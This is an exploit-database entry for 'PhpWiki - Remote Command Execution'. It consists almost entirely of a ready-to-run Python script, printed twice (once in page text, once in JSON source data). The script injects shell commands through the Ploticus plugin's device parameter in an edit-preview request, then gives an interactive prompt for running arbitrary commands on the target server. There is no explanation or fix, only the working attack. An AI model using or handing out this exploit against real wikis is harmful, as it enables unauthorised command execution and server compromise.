Search...

PhpWiki - Remote Command Execution

2014-09-04T00:00:00

ID SSV:87210
Type seebug
Reporter Root
Modified 2014-09-04T00:00:00

Description

No description provided by source.

                                        
                                            
                                                ###############################################################
#    ____                    __                  _ __   _
#   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)
#  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ /
# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,&lt; / / 
#/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/  
#             /_/ /_/         /_/                    
# Diskovered in Nov/Dec 2011
###############################################################
 
import urllib
import urllib2
import sys
def banner():
    print &quot;     ____                    __                  _ __   _ &quot;
    print &quot;    / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)&quot;
    print &quot;   / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / &quot;
    print &quot;  / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,&lt; / /  &quot;
    print &quot; /_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   &quot;
    print &quot;              /_/ /_/         /_/                     \n&quot;
 
 
def usage():
    banner()
    print &quot; [+] Usage example&quot;
    print &quot; [-] python &quot; + sys.argv[0] + &quot; http://path.to/wiki&quot;
 
if len(sys.argv)&lt; 2:
    usage()
    quit()
 
domain = sys.argv[1]
def commandexec(cmd):
    data = urllib.urlencode([('pagename','HeIp'),('edit[content]','&lt;&lt;Ploticus device=&quot;;echo 123\':::\' 1&gt;&amp;2;'+cmd+' 1&gt;&amp;2;echo \':::\'123 1&gt;&amp;2;&quot; -prefab= -csmap= data= alt= help= &gt;&gt;'),('edit[preview]','Preview'),('action','edit')])
    cmd1 = urllib2.Request(domain +'/index.php/HeIp',data)
    cmd2 = urllib2.urlopen(cmd1)
    output = cmd2.read()
    firstloc = output.find(&quot;123:::\n&quot;) + len(&quot;123:::\n&quot;)
    secondloc = output.find(&quot;\n:::123&quot;)
    return output[firstloc:secondloc]
 
 
banner()
print commandexec('uname -a')
print commandexec('id')
while(quit != 1):
    cmd = raw_input('Run a command: ')
    if cmd == 'quit':
        print &quot;[-] Hope you had fun :)&quot;
        quit = 1
    if cmd != 'quit':
        print commandexec(cmd)

JSON Vulners Source

Initial Source

{"type": "seebug", "viewCount": 2, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2017-11-19T13:13:26", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T13:13:26", "rev": 2}, "vulnersScore": 0.1}, "reporter": "Root", "title": "PhpWiki - Remote Command Execution", "cvelist": [], "bulletinFamily": "exploit", "sourceHref": "https://www.seebug.org/vuldb/ssvid-87210", "cvss": {"score": 0.0, "vector": "NONE"}, "references": [], "enchantments_done": [], "modified": "2014-09-04T00:00:00", "description": "No description provided by source.", "href": "https://www.seebug.org/vuldb/ssvid-87210", "id": "SSV:87210", "status": "poc", "lastseen": "2017-11-19T13:13:26", "sourceData": "\n ###############################################################\r\n# ____ __ _ __ _\r\n# / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_)\r\n# / /_/ / / / __ `/ / __ \\/ __ \\/ __ \\ | /| / / / //_/ /\r\n# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / / \r\n#/_/ \\__,_/\\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/ \r\n# /_/ /_/ /_/ \r\n# Diskovered in Nov/Dec 2011\r\n###############################################################\r\n \r\nimport urllib\r\nimport urllib2\r\nimport sys\r\ndef banner():\r\n print " ____ __ _ __ _ "\r\n print " / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_)"\r\n print " / /_/ / / / __ `/ / __ \\/ __ \\/ __ \\ | /| / / / //_/ / "\r\n print " / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / / "\r\n print " /_/ \\__,_/\\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/ "\r\n print " /_/ /_/ /_/ \\n"\r\n \r\n \r\ndef usage():\r\n banner()\r\n print " [+] Usage example"\r\n print " [-] python " + sys.argv[0] + " http://path.to/wiki"\r\n \r\nif len(sys.argv)< 2:\r\n usage()\r\n quit()\r\n \r\ndomain = sys.argv[1]\r\ndef commandexec(cmd):\r\n data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<<Ploticus device=";echo 123\\':::\\' 1>&2;'+cmd+' 1>&2;echo \\':::\\'123 1>&2;" -prefab= -csmap= data= alt= help= >>'),('edit[preview]','Preview'),('action','edit')])\r\n cmd1 = urllib2.Request(domain +'/index.php/HeIp',data)\r\n cmd2 = urllib2.urlopen(cmd1)\r\n output = cmd2.read()\r\n firstloc = output.find("123:::\\n") + len("123:::\\n")\r\n secondloc = output.find("\\n:::123")\r\n return output[firstloc:secondloc]\r\n \r\n \r\nbanner()\r\nprint commandexec('uname -a')\r\nprint commandexec('id')\r\nwhile(quit != 1):\r\n cmd = raw_input('Run a command: ')\r\n if cmd == 'quit':\r\n print "[-] Hope you had fun :)"\r\n quit = 1\r\n if cmd != 'quit':\r\n print commandexec(cmd)\n ", "published": "2014-09-04T00:00:00"}